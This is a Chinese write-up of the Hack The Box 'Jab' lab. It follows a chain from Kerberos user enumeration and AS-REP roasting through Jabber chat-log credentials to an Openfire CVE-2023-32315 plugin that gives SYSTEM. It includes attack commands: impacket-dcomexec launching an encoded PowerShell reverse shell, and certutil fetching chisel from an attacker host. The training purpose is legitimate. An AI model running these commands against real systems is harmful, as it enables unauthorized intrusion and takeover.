Hack The Box-Jab

总体思路

端口扫描->访问Jabber服务(自建用户)->john解密->访问Jabber服务(服务器用户)->获取用户权限->端口转发openfire后台管理界面->上传CVE-2023-32315插件->获取system权限

信息收集&端口利用

nmap 10.10.11.4

在这里插入图片描述

发现没有开放常用端口,开放了445端口,考虑使用kerbrute对目标域名进行扫描

./kerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

在这里插入图片描述

扫描一会后,发现用户名数量非常庞大,一时半会结束不了,先进行下一步

注意到开放的端口还有5222、5269、7070、7443等,其中5222端口经过查询后为jabber服务的端口、7070端口为openfire服务的端口

在这里插入图片描述

Openfire服务存在一个管理界面,默认端口为9090,这里访问不了,猜测需要进入内网将端口转发出来后利用,因此先利用5222端口的Jabber服务

Jabber服务

Jabber 是著名的Linux即时通讯服务服务器,它是一个自由开源软件,能让用户自己架即时通讯服务器,可以在Internet上应用,也可以在局域网中应用。Jabber最有优势的就是其通信协议,可以和多种即时通讯对接

在Linux上使用Jabber服务需要安装pidgin客户端

apt-get install pidgin

在命令行输入pidgin启动客户端

在这里插入图片描述

第一次进入客户端时,我们需要注册一个用户,点击Accounts->Manage Accounts->Add

在这里插入图片描述

在这里插入图片描述

Jabber服务是和XMPP服务相关联的,协议选择XMPP,此处的账户名和密码为登录到jab.htb的账户和密码,并且在advanced中设置好目标靶机的ip地址,首次登录我们没有账户信息,因此需要勾选底下的新建账户选项,点击确认后,在注册界面填入刚刚的信息

在这里插入图片描述

在这里插入图片描述

注册完成后,点击Accounts->Enable Account->connan@jab.htb就能够进入到该角色中

点击Buddies->Join a chat加入一个聊天室

在这里插入图片描述

在这里插入图片描述

图中的room名称随意,password为刚刚设置的密码

在这里插入图片描述

进入到聊天室,但是里面没有任何信息,需要搜索与该用户相关的聊天室

在这里插入图片描述

先在tools模块中添加插件

在这里插入图片描述

将XMPP模块相关内容勾选上,然后选择XMPP服务发现

在这里插入图片描述

在这里插入图片描述

点击Browse

在这里插入图片描述

能显示出除了connan以外,还有test和test2聊天室,双击添加查看

在这里插入图片描述

在这里插入图片描述

test聊天室无法访问,test2聊天室只有一段base64的编码,但是也给了我们提示信息,有一个bdavis用户,于是想到查看还有什么用户

在这里插入图片描述

选择search for users

在这里插入图片描述

*号查找所有用户

在这里插入图片描述

下一步需要导出这些用户名,先打开tools中的XMPP Console,然后再进行搜索用户,这样搜索的文件就能被记录下来

在这里插入图片描述

在这里插入图片描述

将文件内容复制出来,使用正则表达式对其中内容进行筛选,使其只显示出用户名

grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' output.txt | sed 's/@jab.htb//g' | sort | uniq > user.txt

grep: 这是一个搜索工具,用于在文件中搜索匹配的行。
-o:只输出匹配的部分,而不是整行。
-P:使用 Perl 兼容的正则表达式。
‘< value >\K[^<]+@jab.htb(?=< /value >)’:这是一个Perl兼容的正则表达式,用于匹配< value >标签内的内容,并提取 @jab.htb 之前的部分。\K是重置匹配开始位置的操作符,意味着匹配结果从\K 之后的部分开始。
|:管道操作符,用于将一个命令的输出作为另一个命令的输入。
sed:一个流编辑器,用于对输入流(或文件)进行基本的文本转换。
‘s/@jab.htb//g’: 这是一个sed命令,用于替换文本,这里它将所有的@jab.htb替换为空字符串(即删除它)。
sort:这是一个排序工具,用于对输入行进行排序。
uniq:这是一个用于报告或省略重复行的工具。它默认只输出唯一的行。

在这里插入图片描述

在输出了所有用户名之后,使用impacket模块中的GetNPUsers功能来筛选出所有不需要”Kerberos预身份验证”的用户

impacket-GetNPUsers jab.htb/ -usersfile user.txt -outputfile outputusers.txt -dc-ip 10.10.11.4 -no-pass

运行完成后,在outputusers.txt文件中会有三行数据

在这里插入图片描述

使用john来破解它(此处不知道为什么编者的hashcat的18200模块破解不出来)

在这里插入图片描述

破解出了jmontgomery用户的密码,用此用户登录到Jabber

在这里插入图片描述

进入pentest2003聊天室,通过查阅聊天记录我们能看到svc_openfire用户的登录凭据为
!@#$%^&*(1qazxsw

在这里插入图片描述

因为目标靶机没有开放5985端口,因此不能使用evil-winrm来登录,这里使用impacket包中的dcomexec进行登录并执行命令

impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e [revshell_in_base64]' -silentcommand

其中[revshell_in_base64]内容为base64编码后的revshell代码

在这里插入图片描述

在这里插入图片描述

拿到用户权限

权限提升

前面提到Openfire还有一个处于内网的9090管理界面,这里先上传chisel将9090端口转发出来

certutil.exe -urlcache -split -f http://10.10.XX.XX:XXXX/chisel.exe

客户端和服务器端分别运行chisel

在这里插入图片描述

在这里插入图片描述

转发成功后,访问本地的9090端口

在这里插入图片描述

使用svc_openfire/!@#$%^&*(1qazxsw登录进界面

在这里插入图片描述

搜索Openfire相关漏洞,注意到存在CVE-2023-32315,下载压缩包文件后,根据github上的说明,使用mvn生成jar文件

mvn clean package

在这里插入图片描述

在插件处上传jar包文件

在这里插入图片描述

在这里插入图片描述

上传完成后,在server->server-settings访问shell plugin插件

在这里插入图片描述

在这里插入图片描述

密码为123,在右上角选择系统命令

在这里插入图片描述

执行whoami后发现是system权限

在这里插入图片描述

使用cmd执行powershell来反弹shell

cmd.exe /c powershell -e [revshell_in_base64]

在这里插入图片描述

提权成功

PS:因为着急下班所以写的有点匆忙,明天会把细节补上(悲

  • 29
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值